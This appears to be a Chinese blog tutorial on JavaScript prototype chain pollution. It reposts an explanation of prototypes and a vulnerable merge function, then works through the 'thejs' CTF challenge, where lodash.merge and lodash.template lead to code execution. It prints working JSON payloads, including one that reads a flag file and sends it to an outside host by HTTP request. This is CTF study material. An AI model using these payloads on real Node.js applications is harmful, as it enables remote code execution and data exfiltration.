前言

最近在看js的时候看到p神的一篇关于js原型链污染的文章,学习一下。

下面转自p神:深入理解 JavaScript Prototype 污染攻击

还有一篇案例关于js原型链污染的ctf题:从一道 CTF 题看 Node.js 的 prototype pollution attack

js特点

在理解攻击方法之前先了解一下js的面向对象编程的特点。
由于js非常面向对象的编程特性,js有很多神奇的操作。

在js中你可以用各种方式操作自己的对象。

prototype和__proto__用法

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() {this.bar = 1
}new Foo()


Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}(new Foo()).show()


但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function…就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

function Foo() {this.bar = 1
}Foo.prototype.show = function show() {console.log(this.bar)
}let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype


这里类Foo在实例化时,便可调用prototype中的方法
所以,总结一下:

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性

JavaScript原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)


Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump。

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

在对象son中寻找last_name
如果找不到,则在son.__proto__中寻找last_name
如果仍然找不到,则继续在son.proto.__proto__中寻找last_name
依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制

原型链污染是什么

第一章中说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型(即Object)
foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:

原因也显而易见:因为前面我们修改了foo的原型foo.proto.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

对象merge
对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto”: {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

案例分析

下面是P神出的Code-Breaking 2018一道原型链污染的CTF题目thejs,没环境没法复现,我总结下思路。
后端代码server.js:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
app.use('/static', express.static('static'))
app.use(session({name: 'thejs.session',secret: randomize('aA0', 16), //随机数resave: false,saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 模板引擎fs.readFile(filePath, (err, content) => {         //读文件 filepathif (err) return callback(new Error(err))let compiled = lodash.template(content)             //模板化let rendered = compiled({...options})                //动态引入变量return callback(null, rendered)})
})
app.set('views', './views')
app.set('view engine', 'ejs')app.all('/', (req, res) => {let data = req.session.data || {language: [], category: []}if (req.method == 'POST') {data = lodash.merge(data, req.body)req.session.data = data}res.render('index', {language: data.language, category: data.category})
})app.listen(3000, () => console.log(`Example app listening on port 3000!`))

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

lodash.template 一个简单的模板引擎
lodash.merge 函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。我们看到lodash.template的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有__proto__的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

payload:

{"__proto__": {"sourceURL": "\u000areturn e => {for (var a in {}) {delete Object.prototype{a}; } return global.process.mainModule.constructor.load('child_process').execSync('id') }\u000a/"}}

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉。

flag:

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http:/vps.com/${result}`);req.end();\r\n"}}

JavaScript原型链污染攻击相关推荐

  1. XSS注入进阶练习篇(三) XSS原型链污染

    XSS原型链污染 1.原型链的概念 1.1 构造函数的缺点 1.2 prototype 属性的作用 1.3 原型链 1.4 `constructor`属性 1.5 `prototype`和`__pro ...

  2. Javascript Prototype污染攻击(原型链污染,Bugku-web-sodirty wp)

    prototype 它表示原型,样本,标准. 在javascript中,你使用构造函数时会创建一些属性和方法. 在构造方法时,你书写了函数的内容,那么,当你每创建一次对象时就会执行一次函数内容并将方法 ...

  3. JavaScript 原型链和继承面试题

    JavaScript 原型链和继承问题 JavaScript 中没有类的概念的,主要通过原型链来实现继承.通常情况下,继承意味着复制操作,然而 JavaScript默认并不会复制对象的属性,相反,Ja ...

  4. js原型链污染(超详细)

    js创建对象的三种方法 : 普通创建 var person={name:'lihuaiqiu','age','19'} ​ var person={} //创建空对象 构造函数方法创建 functio ...

  5. nodejs原型链污染

    参考两位大佬的博客: 深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com) 继承与原型链 - JavaScript | MDN (mozilla. ...

  6. Kibana未授权访问漏洞记录(CVE-2019-7609,Kibana的RCE,原型链污染,端口:5601)

    Kibana介绍 Kibana是一个开源的分析与可视化平台,设计出来用于和Elasticsearch一起使用的.你可以用kibana搜索.查看存放在Elasticsearch中的数据.Kibana与E ...

  7. javascript原型链中 this 的指向

    为了弄清楚Javascript原型链中的this指向问题,我写了个代码来测试: var d = {d: 40};var a = {x: 10,calculate: function (z) {retu ...

  8. 深度解析JavaScript原型链

    深度解析JavaScript原型链 文章目录 深度解析JavaScript原型链 前言 JavaScript原型链,这里只分享我自己的见解 一.原型链是什么 二.心得 三图解 总结 前言 JavaSc ...

  9. JavaScript 原型链常用方法

    JavaScript 原型链常用方法 对象属性类型 数据属性 Configurable(表示能否通过 delete 删除属性从而重新定义属性,能否修改属性的特性,或者能否把属性修改为访问器属性) En ...

最新文章

  1. linux将字符串转小写_Python教程第10讲:字符串的使用
  2. .net 根据书签往word中插入数据_word目录制作技巧:快速生成文档总目录和章节下子目录...
  3. Java数据结构与算法——插入排序
  4. matlab编程小结
  5. vuejs和php的区别,VueJS全面解析
  6. c语言用数组发送大写字母怎么读,c语言字符数组大小写转换
  7. 计算机数据库技术的应用现状,数据库技术发展现状及趋势.doc
  8. JSP基础--动作标签
  9. webform计算某几列结果_WebForm获取checkbox选中的值(几个简单的示例)
  10. 一本可能引发社会调查行业革命的书
  11. 整合ssh model $$_javassist_13 cannot be cast to javassist.util.proxy.Proxy
  12. 呼吸流水灯c语言程序,单片机流水灯与呼吸灯结合-滴水灯程序及详细教程
  13. 雷电模拟器android4.2,雷电安卓模拟器-雷电模拟器下载 v4.0.55.0官方版--pc6下载站...
  14. AD14 如何设置PCB板框大小及形状
  15. 虚幻4皮肤材质_虚幻引擎4.5版本预览说明
  16. docker 进入,退出容器命令
  17. 怎样改变照片大小?免费在线图片压缩方法
  18. 1354:括弧匹配检验
  19. ARM芯片上电启动流程
  20. html标签之 二 段落标签

热门文章

  1. MINI PCI-E 引脚定义
  2. WeMall应用商店插件更新:
  3. android 测试屏幕触点,如何检测Android Studio中的后台服务是否触摸了屏幕?
  4. Flink RPC 详解
  5. [Unity3D]动态生成平面网格
  6. GPS_GPS基本原理和常识
  7. 计算机知识浩瀚如海,根据提拔如峰、清亮如溪、浩瀚如海仿写
  8. vue+vant搭建移动端框架
  9. 快递柜APP开发需要注意的地方
  10. 互质数的个数(欧拉函数)C/C++